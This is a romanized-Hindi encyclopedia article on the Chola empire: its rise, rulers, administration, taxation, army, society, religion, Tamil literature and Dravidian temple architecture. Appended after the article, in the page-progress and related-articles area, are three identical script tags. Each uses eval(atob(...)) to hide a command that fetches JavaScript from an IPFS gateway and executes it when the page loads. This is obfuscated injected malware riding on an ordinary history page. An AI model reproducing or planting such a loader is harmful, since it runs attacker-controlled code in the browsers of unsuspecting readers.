चोल साम्राज्य

[[chitr:Uttama coin.png|thumb|250px|chol samrajy ka sikka jo shrilanka mean mila]] chol samrajy ka abhyuday nauvian shatabdi mean hua aur dakshin pray:dvip ka adhikaansh bhag isake adhikar mean tha. chol shasakoan ne shrilanka par bhi vijay prapt kar li thi aur maladiv dvipoan par bhi inaka adhikar tha. kuchh samay tak inaka prabhav kaliang aur tuangabhadr doab par bhi chhaya tha. inake pas shaktishali nausena thi aur ye dakshin poorvi eshiya mean apana prabhav qayam karane mean saphal ho sake. chol samrajy dakshin bharat ka niahsandeh sabase shaktishali samrajy tha. apani prarambhik kathinaiyoan par vijay prapt karane ke bad qarib do shatabdiyoan tak arthath barahavian eesvi ke madhy tak chol shasakoan ne n keval ek sthir prashasan diya, varanh kala aur sahity ko bahut protsahan diya. kuchh itihasakaroan ka mat hai ki chol kal dakshin bharat ka 'svarn yug' tha.

chol samrajy ki sthapana

chol samrajy ki sthapana vijayalay ne ki, jo arambh mean pallavoan ka ek samanti saradar tha. usane 850 ee. mean tanjaur ko apane adhikar mean kar liya aur pandy rajy par chadhaee kar di. chol 897 tak itane shaktishali ho ge the ki, unhoanne pallav shasak ko harakar usaki hatya kar di aur sare tauand mandal par apana adhikar kar liya. isake bad pallav, itihas ke pannoan se vilin ho ge, par chol shasakoan ko rashtrakootoan ke viruddh bhayanak sangharsh karana p da. rashtrakoot shasak krishna tritiy ne 949 ee. mean chol samrat parantak pratham ko parajit kiya aur chol samrajy ke uttari kshetr par adhikar kar liya. isase chol vansh ko dhakka laga, lekin 965 ee. mean krishna tritiy ki mrityu aur rashtrakootoan ke patan ke bad ve ek bar phir uth kh de hue.

chol samrajy ka utthan

chhathi shatabdi ke madhy ke bad dakshin bharat mean pallavoan, chalukyoan tatha pandy vanshoan ka rajy raha. pallavoan ki rajadhani kaanchi, chalukyoan ki badami tatha pandyoan ki rajadhani maduree thi, jo adhunik tanjaur mean hai aur dakshin arthath keral mean, cher shasak the. karnatak kshetr mean kadamb tatha gangavanshoan ka shasan tha. is yug ke adhikatar samay mean gang shasak rashtrakootoan ke adhin the ya unase milate hue the. rashtrakoot is samay maharashtr kshetr mean sabase adhik prabhavashali the. pallav, pandy tatha cher apas mean tatha milakar rashtrakootoan ke viruddh sangharsharat the. inamean se kuchh shasakoan visheshakar pallavoan ke pas shaktishali nausenaean bhi thian. pallavoan ke dakshin poorv eshiya ke sath b de paimane par vyaparik sambandh the aur unhoanne vyapar tatha saanskritik sambandhoan ko badhane ke lie kee rajadoot bhi chin bheje. pallav adhikatar shaiv mat ke anuyayi the aur inhoanne adhunik chennee ke nikat mahabalipuram mean kee mandiroan ka nirman kiya.

rajaraj ka kal

chol vansh ke sabase shaktishali raja rajaraj (985-1014 ee.) tatha usaka putr rajendr pratham (1012-1044 ee.) the. rajaraj ko usake pita ne apane jivan kal mean hi apana uttaradhikari niyukt kar diya tha aur sianhasan par baithane ke pahale hi usane prashasan tatha yuddh-kaushal mean dakshata prapt kar li thi. rajaraj ne sabase pahale apana dhyan pandy tatha cher shasakoan tatha unake mitr shrilanka ke shasak ki or diya. usane trivendram ke nikat cher ki nausena ko nasht kiya tatha kuilan par dhava bol diya. usake bad usane maduree tak vijay prapt ki aur pandy shasak ko apana bandi bana liya. usane shrilanka par bhi akraman kiya aur us dvip ke uttari hisse ko apane samrajy ka aang bana liya. ye qadam usane isalie uthaya kyoanki vah dakshin-poorv eshiya ke deshoan se hone vale vyapar ko apani mutthi mean rakhana chahata tha. un dinoan koro mandal tat tatha malabar, bharat tatha dakshin poorv eshiya ke bich hone vale vyapar ke kendr the. rajaraj ne maladiv dvipoan par bhi chadhaee ki. uttar mean rajaraj ne gang pradesh ke uttar-pashchimi hissoan ko bhi apane adhikar mean le liya tatha veangi ko bhi vijit kar liya.

rajeandr pratham ka kal

rajendr pratham ne raj ke vistar ki niti ko apanaya aur pandy cher deshoan par vijay prapt kar unhean apane samrajy mean mila liya. usane shrilanka par bhi poorn vijay prapt ki aur ek yuddh mean shrilanka ke raja aur rani ke mukutoan aur raj chihnoan ko apane adhikar mean le liya. agale pachas varshoan tak shrilanka chol shasakoan ke niyantran se mukt n ho saka. thumb|raja rajaraja chol aur guru (shikshak) karoovurar rajaraj tatha shailendr pratham ne vibhinn jagahoan par shiv tatha vishnu ke mandiroan ka nirman kar apane vijay ke praman die. inamean se sabase prasiddh tanjavur ka rajarajeshvar mandir hai jisaka nirman kary 1010 ee. mean poora hua. chol shasakoan ne in mandiroan ki divaroan par apani vijay ke b de-b de abhilekh khudavae. inhian se hamean chol shasakoan aur unake poorvajoan ke bare mean bahut kuchh pata lagata hai. rajendr pratham ka ek pramukh abhiyan vah tha jisamean vah kaliang hota hua bangal pahuancha jahaan usaki sena ne do nareshoan ko parajit kiya. is abhiyan ka netritv 1022 ee. mean ek chol senadhyaksh ne kiya aur usane vahi marg apanaya jo mahanh vijeta samudragupt ne apanaya tha. is abhiyan ki saphalata ki prashasti mean rajendr pratham ne 'gangee kauandachol' (arthath ganga ka chol vijeta) ki padavi grahan ki. usane kaveri ke tat par ek nayi rajadhani 'gangaeekoand cholapuramh' (ganga ke chol vijeta ka shahar) ka nirman kiya. rajendr pratham ka ek aur mukhy abhiyan shailendr samrajy ke viruddh nau sainik abhiyan tha. shailendr samrajy ka athavian shatabdi mean uday hua tha aur malaya prayadvip, sumatra, java tatha usake nikat ke dvipoan par isaka adhikar tha. chin ke sath s dak ke raste hone vale vyapar par bhi isaka niyantran tha. shailendr vansh ke shasak bauddh the, choloan ke sath inake b de achchhe sambandh the. shailendr shasak ne nagapattam mean ek bauddh math ka nirman kiya tha aur usake anurodh par rajendr pratham ne math ke kharch ke lie ek gram ka anudan diya tha. in donoan ke bich sambandh tootane ka karan yah tha ki chol shasak bharatiy vyapar mean p dane vali badhaoan ko hatana chahate the. is abhiyan se unhean kadaram ya kedar tatha malaya pray:dvip aur sumatra mean kee sthanoan par vijay mili. kuchh samay tak is kshetr mean choloan ki nausena sabase adhik shaktishali thi tatha bangal ki kha di choloan ki jhil ke saman ho gee thi.

chol shasakoan ne apane kee doot chin bhi bheje. sattar vyapariyoan ka ek mandal 1077 ee. mean chol dootoan ke roop mean chin gaya aur vahaan use 81,800 kaansy mudraoan ki mala mili, arthath yah sankhya utani hi thi, jitani un vyapariyoan ki vastuean thian, jisamean kapoor, kadhaee kie kap de, hathi daant, gaiandoan ke siang tatha shishe ka saman tha. chol samratoan ne rashtrakootoan ke uttaradhikari chalukyoan se barabar sangharsh kiya. inhean uttarakalin chaluky kaha jata hai aur inaki rajadhani kalyani mean thi. chol aur chalukyoan mean veangi (rayalasima), tuangabhadr aur karnatak ke uttar-pashchim mean gangoan ke kshetr par prabhutv ke lie sangharsh hua. is sangharsh mean kisi bhi paksh ki nishchit roop se vijay nahian huee aur donoan paksh antatah kamazor p d ge. aisa lagata hai ki is yug mean yuddh ki bhayankarata badhati gee. chol shasakoan ne chalukyoan ke shaharoan ko, jinamean kalyani shamil tha, tahas-nahas kar dala aur janata ka, jisamean brahman aur bachche shamil the, qatleam kiya. yahi niti unhoanne pady rajaoan ke sath apanaee. unhoanne shrilanka ki prachin rajadhani anuradhapur ko bhi dharashayi kar diya aur vahaan ke raja aur rani ke sath b di kathorata ka vyavahar kiya. ye kary chol samrajy ke itihas par kalank haian. lekin isake bavajood chol kisi bhi desh par vijay prapt kar lete the, to usamean thos shasan vyavastha qayam karate the. chol-prashasan ki ek pramukh bat yah thi ki, ve apane sare samrajy ke gramoan mean svashasan ko protsahit karate the.

chol barahavian shatabdi tak samriddhashali bane rahe, lekin terahavian shatabdi ke arambh mean unaka patan shuroo ho gaya. barahavian shatabdi tak maharashtr mean uttar kalin chalukyoan ki shakti bhi kshin p d gee thi. chol samrajy ki jagah ab dakshin mean pandy tatha hoyasal samratoan tatha uttarakalin chol samratoan ki jagah yadav aur kakatiy samratoan ne le li thi. in rajyoan ne bhi kala tatha sthapaty ko badhava diya. durbhagyavash unhoanne apas mean sangharsh kar svayan ko kamazor bana liya. inhoanne ek doosare ke nagaroan ka vidhvans kiya aur yahaan tak ki mandiroan ko bhi nahian chho da. antatah chaudahavian shatabdi ke arambh mean dilli ke sultanoan ne inako j d se ukha d diya.

chol prashasan

chol shasak

kr.san.	shasak	shasan kal
1.	uravappaharre ilan jet chenni	-
2.	karikal	-
3.	vijayalay	850-875 ee.
4.	adity (chol vansh)	875-907 ee.
5.	parantak pratham	907-953 ee.
6.	gandharadity	953 se 956 ee.
7.	parantak dvitiy	956 se 973 ee.
8.	uttam chol	973-985 ee.
9.	rajaraj pratham	985-1014 ee.
10.	rajendr pratham	1014-1044 ee.
11.	rajadhiraj	1044-1052 ee.
12.	rajendr dvitiy	1052-1064 ee.
13.	vir rajendr	1064-1070 ee.
14.	adhirajendr	1070 ee.
15.	kulottuang pratham	1070-1120 ee.
16.	vikram chol	1120-1133 ee.
17.	kulottuang dvitiy	1133-1150 ee.
18.	rajaraj dvitiy	1150-1163 ee.
19.	rajadhiraj dvitiy	1163-1178 ee.
20.	kulotuang tritiy	1178-1218 ee.
21.	rajaraj tritiy	1216-1256 ee.
22.	rajendr tritiy	1246-1279 ee.

chol prashasan mean sarvadhik mahattvapoorn pad raja ka hota tha. chol kalin shasan vyavastha rajatantratmak thi. raja ka pad vanshanugat vyavastha par adharit tha. raja ke lie ek mantriparishad ki vyavatha thi. rajakiy adeshoan ka kriyanvayan 'olai' nam ke ativishisht adhikari kiya karate the. raja ke pradhan sachit ko 'aulanayamakam' kaha jata tha. chol prashasan mean bhag lene vale uchch padadhikariyoan ko 'perundanamh' evan nimn shreni ke padadhikariyoan ko 'sherundanamh' kaha jata tha. is samay adhikariyoan ke vetan ka bhugatan pakad roop mean n karake bhoomi ke roop mean kiya jata tha. 'vidaiyadhikarin' nam ka adhikari kary preshak kirane ke roop mean kary karata tha. rajy ke uchch adhikariyoan (mantriyoan) ko 'udanakuttamh' kaha jata tha.

prashasakiy ikaiyaan

prashasan ki suvidha hetu sampoorn chol samrajy 6 prantoan mean vibhakt tha. prantoan ko 'mandalamh' kaha jata tha. prayah rajakumaroan ko yahaan ka prashasan dekhana p data tha. mandalamh ko kottam (kamishnari) mean, kottam ko nadu (zile) mean evan pratyek nadu ko kee kurramoan (gram samooh) mean vibhakt kiya gaya tha. b de-b de shahar ya gaanv ek alag kurram ban jate the aur taniyoor ya tankuram kahalate the. mandalamh se lekar gram star tak ke prashasan hetu sthaniy sabhaoan ka sahayog liya jata tha. 'nadu' ki sthaniy sabha ko 'natoor' evan nagar ki sabhaoan ko kramashah shreni aur poog kaha jata tha. chol samrat parantak pratham ke shasan ke 12vean evan 14vean varsh ke prasidv 'uttarameroor abhilekhoan' mean chol kalin sthaniy svashasan evan gram prashasan vyavastha ka sakshy milata hai. sthaniy svashasan chol shasan pranali ki mahattvapoorn visheshata thi. sthaniy svashasan mean 'ur' tatha 'sabha' v mahasabha ke sadasy vayask hote the. ur sarvasadharan logoan ki samiti thi, jisaka kary hota tha- sarvajanik kalyan ke lie talaboan v bagichoan ke nirman hetu gaanv ki bhoomi ka adhigrahan karana.

sabha ya gram sabha

yah moolatah agraharoan v brahmanoan bastiyoan ki sanstha thi. isake sadasyoan ko 'perumakkal' kaha jata tha. 'variyam' (karyakarini samiti) ki sadasyata hetu 35 se 70 varsh ke bich tak ke vyaktiyoan ko avasar diya jata tha. isake atirikt vah kam se kam dedh ek d bhoomi ka malik evan vaidik mantroan ka jnata ho. in arhataoan ko poora karake chune gaye 30 sadasyoan mean se 12 jnani vyaktiyoan ko varshik samiti 'samvatsar variyamh' ke lie chuna jata tha aur shesh bache 18 sadasyoan mean 12 udyan samiti ke lie evan 6 ko t dag samiti ke lie chuna jata tha.

sabhi ki baithak gaanv mean mandir ke vriksh ke niche evan talab ke kinare hoti thi. mahasabha ko 'poorugarri', isake sadasyoan ko 'perumakkal' evan samiti ke sadasyoan ko 'variyapperumakkal' kaha jata tha. vyapariyoan ki sabha ko 'nagaramh' kaha jata tha. nagaroan mean vyapariyoan ke vibhinn sangathan the, jaise- manigram, valanjiyar adi. chol kal ke 'ur' ka roop laghuganatantr jaisa tha. is samay sarvajanik bhoomi mahasabha ke adhikar kshetr mean hoti thi. mahasabha gramavasiyoan par kar lagane, use vasoolane evan begar lene ka bhi adhikar apane pas rakhati thi. sabha ya mahasabha varsh mean ek bar kendriy sarakar ko kar deti thi. mahasabha ki ay aur vyay ka nirikshan kendr sarakar ke adhikari kiya karate the. kendr sarakar asamany sthitiyoan mean hi gramasabha ke svayatt shasan mean hastakshep karati thi.

ay ka srot

chol kalin any kar

ayam	rajasv kar
maramajjadi	vriksh kar
kadamai	supari par kar
manaiirai	grih kar
kadhai़irai	vyaparik pratishthanoan par lagane vala kar
pevir	telaghani kar
kidakkashu	nar pashudhan kar
kadimai	lagan
padikaval	gram suraksha kar
vashalpiramam	dvar kar
maganmai	vyavasay kar
ajivakkashu	ajivika par lagane vala kar

rajy ki ay ka mukhy sadhan bhoorajasv tha. bhoorajasv nirdharit karane se poorv bhoomi ka sarvekshan, vargikaran evan nap-jokh karaee jati thi. tatkalin abhilekhoan se jnat hota hai ki, rajaraj pratham evan kulottuang ke pair ki map hi bhoomi ki lambaee mapane ki ikaee bani. bhoomikar bhoomi ki urvarata evan varshik fasal chakr dekhane ke bad nirdharit kiya jata tha. sambhavatah chol kal mean bhoomi kar upaj ka ek tihaee hua karata tha, jise ann v naqad donoan roopoan mean liya jata tha. chol abhilekhoan mean bhoomi kar ke atirikt any karoan ka ullekh milata hai.

rajasv vibhag ka uchch adhikari 'varitpottagakakh' kaha jata tha. in karoan ke atirikth chol raja nikatavarti kshetroan ki loot mar se bhi apani ay badhate the. vivah samaroh par bhi kar lagata tha. abhilekhoan mean karo v vasooliyoan ke lie 'harai' ya 'vari', 'marunpadu' aur 'drandamh' shabd ka prayog kiya gaya hai. ann ka man ek kalam (tin man) tha. beli bhoomi map ki ikaee thi. sone ke sikke ko kashu kaha jata tha. chol abhilekhoan mean bhoomi kar ke atirikt anek prakar ke kar lagae jate the, jaise- maramajjadi (upayogi vrikshakar), kadamai (supa di ke bagan par kar), manaiirai (grihakar), kadhaiirai (vyaparik pratishthan kar), pevir (telaghani kar), padikaval (gram suraksha kar), maganyai (svarnakar, lauhakar, kumbhakar, badhee adi ke peshoan par lagaya jane vala kar).

sainy sangathan

choloan ki sthayi sena mean paidal, gajarohi, ashvarohi adi sainik shamil hote the. inake pas ek b di nausena thi, jo rajaraj pratham evan rajendr pratham ke samay mean charamotkarsh par thi. bangal ki kha di choloan ki nausena ke karan hi 'choloan ki jhil' ban gee. 'b daperr kaikakolas' raja ki vyaktigat suraksha mean tainat paidal dal ko kahate the, jabaki 'kuanjir-mallar' gajarohi dal ko, 'kudiraichchaivagar' ashvarohi dal ko, 'billigal' dhanurdhari dal ko, 'kaikakolas' paidal sena mean sarvadhik shaktishali ko, 'saigundar' bhala se prahar karane mean nipun sainikoan ko evan 'velaikkar' raja ki ativishvasaniy aangarakshak ko kahate the. sena gulmoan v chhavaniyoan (kadagam) mean rahati thi. chol kal mean sena ki tuk di ka netritv karane vale ko nayak tatha senadhyaksh ko mahadandanayak kaha jata tha. sena mean anek senapati brahman the, jinhean brahmadhiraj kaha jata tha.

nyay vyavastha

raja sarvochch nyayadhish hota tha. chol abhilekhoan mean raja ke dharmasan ka aantim nyay prapt karane ke roop mean ullekh hai, jahaan par raja dharmasanabhatt (smritishastr jnata, brahman evan vidvan) ki sahayata se nyay karata tha. chhote vivadoan par sthaniy nigam nirnay dete the. choloan ki dand vyavastha mean arthik dand evan samajik apaman ka dand diya jata tha. prayah arthik dand kashu (mudra) mean diya jata tha.

cholakalin samaj

choloan ke samay jati vyavastha ke antargat brahman evan 'vellal' (shoodr varg ke b de bhoosvami) ka sthan sarvochch tha. brahmanoan ko di gayi kar mukt bhoomi ko 'chaturvedi mangalamh' kahate the. isake atirikt kuchh vishesh adhikar prapt vargo mean 'balangai' ke pas vishesh adhikar hote the. chol kal mean kshatriy evan vaishy varg ka astitv nahian tha. chol samaj mean kuchh vargoan ko achhoot (paraiya) mana jata tha. vellal shoodr krishak the. chol kal mean uchch varg ke purushoan tatha nimn varg ki mahilaoan se ratharaj namak ek naye varg ka uday hua. chol kal mean striyoan ki sthiti poorvakal ki tulana mean behatar thi. uchch kul ki striyaan prashasan se sanbaddh thian, kintu sati pratha evan devadasi pratha jaisi kuritiyaan bhi vidyaman thian. das pratha ka bhi prachalan tha.

dharmik sthiti

choloan ke samay mean vaishnav dharm evan shaiv dharm vyapak prachar hua. dakshin mean inake matoan ke prachar mean shaiv-nayanaroan evan vaishnav-alavaroan ne mahattvapoorn bhoomika nibhaee. adhikatar chol shasak kattar shaiv the. unhoanne shaiv dharm ke prachar-prasar mean gahari ruchi li. chol naresh adity (chol vansh) ne shiv pooja ke lie kaveri nadi ke kinare shiv mandir ka nirman aur isake putr parantak pratham ne inhian ki aradhana mean 'dabhrasabha' ka nirman karavaya. chol samrat rajaraj pratham ke kal mean to shaiv dharm apane charamotkarsh par pahuanch gaya. rajaraj ne tanjaur mean'‘rarajeshvar' athava 'brihadishvar' mandir ka nirman karavaya, sath hi 'shivapadashekhar' ki upadhi bhi dharan ki. rajaraj ke samay shaiv sant 'nambiandaranambi' ne shaiv mantroan ko dharmagranth mean sangrahit kiya. chol kal mean vaishnav mat ke prasiddh achary ramanujachary the. unhoanne vishishtadvait mat ka pratipadan kiya. unhoanne kulottuang dvitiy dvara chidambaramh mandir se govindaraj vishnu ki moorti ko samudr mean pheank dene ke bad use timpati ke vishal vaishnav mandir mean sthapit karavaya.

sahity

chol rajaoan ke samay mean tamil bhasha evan sahity ka vikas hua. tamil kaviyoan mean prasiddh 'jayangondar' kulottuang pratham ka rajakavi tha. usane 'kaliguttipuran' nam ke granth ki rachana kian kulottuang tritiy ke darabar mean rahane vale kavi kanban ka kal tamil sahity ka svarn kal mana jata hai. is kal ki any rachanayean shekkillar dvara virachit 'periy puranamh', pulagendi ki nalabemba tatha tirooktadevar ki 'jivak chintamani' hai. kulottuang dvitiy (1130-50) ke shasanakal mean shekkilar ne tirutondar puranamh yo pariyapuranamh likha hai. yah tamil shaiv sahity mean ek bahut mahattvapoorn granth hai. priyapoornam ya shekhar ki 'tirootondapoornamh' ko paanchava ved kaha jata hai. mamoolanar pramukh prachin tamil kavi the, jinhoanne apani rachana mean nand vansh evan maury vansh ka ullekh kiya hai. is kal ke any dharmik granthoan mean nandi ka 'tiruvilaeeyadal poornamh' nambi, aandaranambi ka 'tirumulaee-kaandapoornamh' tatha amudanar ka 'ramanuj nuradadi' haian. tamil kavy mean agam varg ki kavitaean bhagavan shiv ki prashansa mean likhi gayi haian.

saanskritik jivan

chol samrajy ke vistar aur usake vaibhav se usake shasakoan ke lie tanjaur, gangeekoandacholapuram, kaanchi jaise b de nagaroan ka nirman sambhav ho saka. shasakoan ne apane lie b de-b de mahal, jo baganoan se susajjit the, banavae. chol shasakoan ne paanch aur sat manzili imaratean banavayian aur unake saradaroan ke pas tin se paanch manzile mahal the. durbhagyavash us kal ki ek bhi imarat aisi nahian bachi hai. choloan ki rajadhani gangeekoandacholapuram ab tanjaur ke nikat ek chhota sa gaanv matr hai. lekin is yug ke sahity se hamean chol shasakoan aur unake mantriyoan tatha b de vyapariyoan ke vishal mahaloan aur unake vaibhav ke bare mean pata chalata hai.

mandir sthapaty kala

chol samratoan ke yug mean dakshin bharat mean mandir sthapaty apane shikhar par tha. inake samay mandir sthapaty mean ek nayi shaili ka vikas hua. is shaili ko 'dravi d' kahate haian. kyoanki yah adhikaansh dakshin bharat mean simit thi. isaki pramukh visheshata yah thi ki, garbhagrih, arthath pratima kaksh ke oopar ek ke bad ek kar paanch se sat manziloan tak ka nirman hota tha. har manzil ek vishesh shaili mean nirmit hoti thi jise 'viman' kahate the. pratima kaksh ke samane khamboan vala aur sapat chhat ka ek vishal haul tha, jise 'mandap' ke nam se jana jata tha. isake khamboan par barik khudaee hoti thi. mandap mean vishesh avasaroan par sabhaean hoti thian aur 'devadasiyoan' ka nrity hota tha. devadasiyaan aisi striyoan ko kahate the, jinhean devataoan ki seva ke lie arpit kar diya jata tha. kabhi-kabhi pratima kaksh ke charoan or ek galiyara hota tha. taki bhakt log pratima ki parikrama kar sakean. is galiyare mean bhi kee devi-devataoan ki moortiyaan hoti thian. mandap tatha pratima kaksh ek ooanchi divaroan vale bahut b de praangan se ghira rahata tha, jisamean pravesh ke lie b de-b de daravaze the jo 'gopuramh' ke nam se jane jate the. samay ke sath vimanoan ko aur ooancha karane ka rivaj badhata gaya, praanganoan ki sankhya do ya tin tak badha di gee tatha gopuramh aur adhik bhavy hote ge. is prakar mandiroan ne chhote-mote mahal athava shaharoan ka roop dharan kar liya. jisamean purohit tatha mandir se sambandhit any log rahate the. mandiroan ko kharche ke lie kar-mukt bhoomi ka anudan diya jata tha. isake alava dhani vyapari bhi inhean dan dete the. kuchh mandiroan ke pas to itani sampatti ho gee ki, ve bhi vyapar aur rrin dene ka kam karane lage.

dravi d shaili ke arambh ke kal ke mandir sthapaty ka udaharan hamean kaanchi mean kailashanathar mandir mean milata hai. isaka utkrisht udaharan hamean tanjavur mean rajaraj pratham dvara nirmit 'brihadishvar mandir' mean milata hai. ise rajaraj mandir kah kar pukara jata hai. kyoanki chol samrat mandiroan mean devi-devataoan ki pratimaoan ke alava apani tatha raniyoan ki moortiyaan bhi pratishthapit karate the. gangaeekoandacholapuramh ke mandir mean bhi, yadyapi yah tooti-phooti sthiti mean hai, hamean chol samratoan ke kal ke mandir sthapaty shaili ka achchha udaharan dekhane ko milata hai. dakshin bharat ke any jagahoan mean bhi b di sankhya mean mandiroan ka nirman karaya gaya. lekin chol samratoan ne aise karyoan ko p dosi rajyoan ki janata ko lootakar kiya.

choloan ke patan ke bad chalukyoan aur hoyasaloan ne mandir nirman ka kam jari rakha. dharavar zile tatha hoyasaloan ki rajadhani 'helebid' mean kee mandir haian. inamean sabase bhavy 'hoyasaleshvar mandir' hai. chaluky shaili ka yah sabase achchha udaharan hai. mandir mean devi-devataoan aur unake paricharakoan, yaksh aur yakshini ki moortiyoan ke alava aise chitrapatt haian jin par jivan ke vibhinn pahaluoan, jaise nrity kala, sangit, yuddh aur pranay ke drishy tarashe hue haian. isase yah pramanit hota hai ki jivan aur dharm mean bahut gahara sambandh tha. am adami ke lie mandir matr pooja ka sthan nahian, balki samajik aur saanskritik jivan ka bhi kendr tha.

is yug mean dakshin bharat mean vastu kala bhi b di vikasit thi. isaka ek udaharan hamean shravan belagola mean 'gomateshvar' ki vishal pratima mean milata hai. is yug mean pratima gadhane ki kala bhi apane shikhar par thi, jaisa ki ham nrity ki mudra mean shiv, nataraj, ki pratima mean dekhate haian. is kal ki nataraj ki pratimaean, visheshakar jo kaansy mean gadhi gee haian, is kal ki utkrisht udaharan haian. ye moortiyaan bharatiy tatha videshi sangrahalayoan ki shobha haian.

chol samrajy ka patan

chol samrajy ke aantim shasak kulottuang dvitiy ke uttaradhikari nirbal the. ve apane rajy ko akshunn bana rakhane mean asaphal rahe. sudoor dakshin mean pandy, keral aur sianhal (shrilanka) rajyoan mean vidroh ki pravritti bahut badh gee thi aur ve choloan ki adhinata se mukt ho ge. samudr par ke jin dvipoan v pradeshoan par rajendr pratham dvara adhipaty sthapit kiya gaya tha, unhoanne bhi ab svatantrata prapt kar li. dvarasamudr ke hoyasal aur isi prakar ke any rajavanshoan ke utkarsh ke karan chol rajy ab sarvatha kshin ho gaya. choloan ke anek samant is samay nirantar vidroh ke lie tatpar rahate the, aur chol rajavansh ke antahpur v rajadarabar bhi sh dayatroan ke adde bane hue the. is sthiti mean chol rajaoan ki sthiti sarvatha nagany ho gee thi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>